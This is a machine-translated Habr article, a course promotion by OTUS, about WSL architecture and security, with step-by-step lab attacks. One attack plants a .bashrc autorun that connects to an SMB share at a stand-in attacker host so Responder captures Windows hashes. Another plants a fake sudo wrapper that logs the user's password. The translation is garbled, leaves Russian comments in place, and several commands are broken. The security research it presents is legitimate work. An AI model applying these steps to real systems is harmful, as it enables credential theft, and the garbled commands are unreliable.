WSL esperimentuak. 1. zatia

Kaixo, habr! OTUSek ikastaro berri bat abiarazten du urrian "Linux segurtasuna". Kurtsoaren hasierari begira, gure irakasleetako batek, Alexander Kolesnikov-ek idatzitako artikulu bat partekatzen ari gara zuekin.

WSL esperimentuak. 1. zatia

2016an, Microsoft-ek WSL teknologia berria aurkeztu zuen IT komunitatean (Windows Ssubsistemarako Linux), eta horrek etorkizunean ahalbidetu zuen lehen bateraezinak diren lehiakideek ospea lortzeko borrokan ari ziren sistema eragile arrunten eta aurreratuen artean elkartzea: Windows eta Linux. Teknologia honek Linux OS tresnak Windows ingurunean erabiltzeko aukera eman zuen Linux exekutatu beharrik gabe, adibidez, Multi-boot erabiliz. Habr-en WSL erabiltzearen onurak deskribatzen dituzten artikulu ugari aurki ditzakezu. Hala ere, zoritxarrez, artikulu hau sortu zenean, ez zen baliabide honetan sistema eragileen halako sinbiosi baten segurtasunari buruzko ikerketarik aurkitu. Mezu hau hau zuzentzeko saiakera bat izango da. Artikuluan WSL 1 eta 2 arkitekturaren ezaugarriei buruz hitz egingo da eta teknologia hauek erabiltzen dituzten sistemen aurkako erasoen hainbat adibide aztertuko dira. Artikulua 2 zatitan banatuta dago. Lehenengoak Linux eta Windows-en eraso metodo teoriko nagusiak emango ditu. Bigarren artikuluak proba-ingurune bat ezarri eta erasoak erreproduzituko ditu.

WSL 1: ezaugarri arkitektonikoak

WSL segurtasun arazoetan murgiltzeko, beharrezkoa da azpisistemaren ezarpenarekin lotutako Γ±abardura nagusiak zehaztea. WSL-k ebatzitako erabiltzailearen zeregin nagusietako bat Windows OS exekutatzen duen ostalari batean Linux terminal baten bidez lan egiteko gaitasuna da. Gainera, eskainitako bateragarritasuna hain zen jatorrizko Linux exekutagarriak (ELF) zuzenean Windows sistema batean exekutatu ahal izateko. Helburu horiek lortzeko, Windows 10-n azpisistema berezi bat sortu zen, Linux aplikazioak sistema-dei zehatz batzuen bidez exekutatzeko aukera ematen duena; horrela, Windows-en Linux sistema-dei multzo bat mapatzen saiatu zen. Hau fisikoki inplementatu zen kontrolatzaile berriak eta prozesu formatu berri bat gehituz. Ikusmenean arkitekturak itxura hau zuen:

WSL esperimentuak. 1. zatia

Izan ere, Linux sistema eragilearekin elkarreragina nukleoko hainbat modulu eta prozesu mota berezi baten bidez antolatu zen - pico. Goiko diagramatik ikus dezakezu ostalariaren Linux instantzian exekutatzen den prozesua jatorrizkoa izan behar dela eta Windows aplikazio arrunten baliabide berdinak erabili behar dituela. Baina nola lortu hori? Proiektuan Zubi altxagarria Windows-erako prozesu kontzeptuak garatu ziren, sistema eragilearen beharrezko osagai guztiak (bere bertsioaren arabera) eskaintzen zituztenak beste OS bateko aplikazio bat exekutatzeko.

Kontuan izan proposatutako abstrakzioari esker, sistema eragilean (bereziki, Windows-ean) ez zentratu, zeinetan beste OS baten prozesua abian jartzea espero den, eta ikuspegi orokor bat proposatu zuen.

Horrela, pico prozesuko edozein aplikazio exekutatu liteke Windows nukleoa kontuan izan gabe:

  1. Sistema-deien bateragarritasun- eta itzulpen-arazoak hornitzaile bereziek konpondu behar dituzte;
  2. Sarbide kontrola Segurtasun Monitorearen bidez egin behar da. Monitorea nukleoan dago eta, beraz, Windows-ek prozesu horien hornitzaile gisa jardun zezakeen kontrolatzaile berri baten bertsio berritzea behar zuen. Prototipo piko prozesua eskematikoki aurkezten da jarraian:

WSL esperimentuak. 1. zatia

Linux fitxategi-sistemak maiuskulak eta minuskulak bereizten dituen fitxategi- eta direktorio-izenak erabiltzen dituenez, 2 fitxategi-sistema mota gehitu ziren Windows-era WSL-rekin lan egiteko - VolFS eta DriveFS. VolFS Linux fitxategi-sistemaren inplementazioa da, DriveFS Windows arauen arabera funtzionatzen duen fitxategi-sistema da, baina maiuskulak eta minuskulak bereiztea hautatzeko gaitasuna du.

WSL 2

WSL 1-ek hainbat muga zituen, eta ez zuten gehieneko zereginen sorta konpontzeko erabiltzerik uzten: adibidez, ez zuen 32 biteko Linux aplikazioak exekutatzeko gaitasunik, eta ezinezkoa zen gailu kontrolatzaileak erabiltzea. Hori dela eta, 2020an, WSL 2 kaleratu zen, eta horrek azpisistema eraikitzeko ikuspegia aldatu zuen. WSL 2 makina birtual optimizatua da, WSL 1-en baliabideen kontsumoaren ezaugarriekin bat datorrena. Orain, Windows OS erabiltzaileak konpondutako arazoen arabera, Linux azpisistemaren beharrezko bertsioa hauta dezakezu. Ahulezi posibleak arintzeko, WSL 2 Hyper-V-n oinarrituta ezarri zen Windows 10. Inprimaki honetan, Windows-ek Linux sistema eragilearen nukleoa modu isolatuan exekutatzeko gaitasuna du. Gogoratu beharra dago WSL-ren 1. bertsioa Windows-en garapenaren nondik norakoak alor honetan erakutsi behar zuen beta-eginbide gisa sartu zela, eta, beraz, Hyper-V-rako trantsizioa saihestezina zen. Azken arkitekturak honela dauka:

WSL esperimentuak. 1. zatia

Bertsio honetan, Windows eta Linux nukleoek baliabide propioak dituzte eta elkargunea fitxategi-sisteman bakarrik dago, baina elkargune hau ez da osatua. Fitxategi-sistemen arteko interakzioa 9P protokoloa erabiliz funtzionatzen duen bezero-zerbitzariaren bilgarri baten bidez egiten da.

Gaur egun Microsoft-ek WSL 1 eta WSL 2 artean aldatzeko gaitasuna eskaintzen du. Bi bertsioak erabilgarri daude.

WSL Segurtasuna

Une honetan, hainbat lan daude azpisistemen arteko komunikazioa erasotzeko sistema eragilearen tresna legitimoak erabiltzeko planteamendu batzuk deskribatzen dituztenak. Haien gidoiak erabiliko ditugu idazteko unean erasoen garrantzia egiaztatzeko. Erasoen eta eszenatokien zerrenda orokorra:

1. Fitxategi-sistemaren ezarpena: sarbide-eskubideak, direktorio partekatuen eskuragarritasuna/datuak trukatzeko mekanismoak.

Ikerketa egin zen sarbide-arauen urraketak zehazteko Linux FS->Windows FS, Windows FS->Linux FS. Ikerketak frogatu du helburuko sistema eragilearen barruan fitxategi jakin bat aldatzeko gaitasuna. Fitxategi-sistemen zati bat ordezkatzeko, bikoiztuak sortzeko eta ezabatzeko ere saiatu ziren.

Eszenatokia:

  • A. Windows sistema eragilearen erasoa - Linux sistema eragilearen /etc direktorioko fitxategiak aldatzea.
  • B. Linux sistema eragilearen erasoa - direktorioetako fitxategiak aldatzea: C:Windows, C:Program Files, C:Users<User>

2. Sareko pilaren ezarpena.

Ikerketa Windows-en Linux sistema eragilearen erasoen adibideak erabiliz egin da. Sare pilaren ezaugarriak erabili ziren, hots, hainbat baliabidetan autentifikazio mekanismoak.

Eszenatokia:

  • Windows sistema batean okupatuta dagoen ataka baterako sarbidea irekitzea
  • Eskubide egokirik gabeko portu bat irekitzea
  • Alderantzizko shell exekutatzen elf fitxategia erabiliz Windows sistema eragilean.

3. WSL azpisistema erabiliz software maltzurren prozesuak abian jartzea ezkutatzea.

Ikerketa gertaera sinple batean oinarritzen zen: segurtasun azpisistemek ezin dituzte atzeman sistema eragilearen hornitzaile legitimo bat erabiliz funtzionatzen duen beste nukleo bateko gertaerak WSL 1-en kasuan. WSL 2-ren kasuan, ez dago gertatzen diren gertaerak ikusteko modurik. makina birtual arineko nukleo bereizi batean.

Eszenatokia:

1) Abiarazi sistemara urruneko sarbidea izateko aplikazioa eta ikusi erregistratutako gertaerak.

WSL 1 esperimentuak: hash atzematea (Windows)

Azkenik atal praktikoari heldu diogu. Lehenik eta behin, proba-ingurunea konfiguratu behar duzu. Esperimentu guztiak Windows 10 2004 instalatuta duen banku batean egingo dira. Ubuntu 18.04 irudia aukeratu zen WSLrako sistema eragilearen irudi gisa. Irudia ausaz aukeratu zen, eta beste edozeinek berdin funtzionatuko du. Stand bat ezartzeko aginduak:

Lehenik eta behin abiarazi behar duzu powershell.exe administratzaile gisa.

WSL 1erako komandoak exekutatu behar dituzu:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Π’ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Π—Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π· Linux ΠΈΠ· ΠΌΠ°Π³Π°Π·ΠΈΠ½Π° Microsoft

  • Ubuntu.appx install β€”root #Установим ΠΎΠ±Ρ€Π°Π·
  • Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, придСтся ΠΏΡ€ΠΎΠΊΠ»ΠΈΠΊΠ°Ρ‚ΡŒ процСсс настройки ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ мСньшС ΠΏΡ€Π°Π², Ρ‡Π΅ΠΌ root. Для Π½Π°ΡˆΠΈΡ… тСстов это Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ sam.
  • Restart-Computer #ΠŸΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΠΌ
  • Standa berrabiarazi ondoren, bash komandoa dei dezakezu. Dena ondo funtzionatu bazen, honen antzeko irteera ikusiko duzu Windows kontsolan:

    WSL esperimentuak. 1. zatia

    Kali Linux banaketa erabiliko dugu erasotzailearen makina gisa; makina guztiek sare lokal berean egon behar dute.

    Demagun Windows makina batean WSLrako pribilegiorik gabeko sarbidea dugula. Saia gaitezen Linux sistema eragileari erasotzen Linuxetik komando bati deituz. Erasoa ezartzeko, autorun teknika sinple bat erabiliko dugu - Linux ingurunean exekutatzeko gure scripta gehituko dugu. Horretarako fitxategia aldatu behar duzu .bashrc.

    WSL duen makina batean exekutatzen dugu:

    	1. bash
    	2. ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΠΌ Π² домашнюю Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ: cd /home/sam/
    	2. echo  Β«/home/sam/.attack.shΒ» >> .bashrc
    	3. echo Β«icalcs.exe Β» \\\\attacker_ip\\shareName\\Β» > /dev/null 2>&1Β» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Kali Linux makina batean exekutatzen dugu:

    1. Responder -I eth0 -rdvw

    Windows makina batean, abiarazi dezagun bash.

    Kali Linux makinan emaitzaren zain gaude:

    WSL esperimentuak. 1. zatia

    Horrela, Windows erabiltzailearen hashak WSL azpisistemaren bidez lortu ditugu komandoa Linux sisteman exekutatuta.

    WSL 1 esperimentuak: erabiltzailearen pasahitza lortzea (Linux OS)

    Egin dezagun esperimentu bat gehiago. Egiaztapen honetan fitxategira gehituko dugu .bashrc hainbat komando Linux sistema eragilearen erabiltzailearen pasahitza lortzeko.

    Abiarazi bash eta sartu komandoak:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtΒ» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Erasoa arrakastaz burutzeko, Sam erabiltzaileak sudo deitu behar du Linux terminalean. Horren ondoren, Linux OS erabiltzailearen pasahitza fitxategian egongo da pass.txt:

    WSL esperimentuak. 1. zatia

    Erasoen ezarpena informazio teorikorako soilik eman zen.

    Artikuluaren hurrengo zatian 9P protokoloaren ezarpena deskribatuko da, protokolo honen eskaner bat sortzea aztertuko da eta hura erabiliz eraso bat ere egingo da.

    Erabilitako literatura zerrenda

    WSL esperimentuak. 1. zatia

    Irakurri gehiago

    Iturria: www.habr.com

    Gehitu iruzkin berria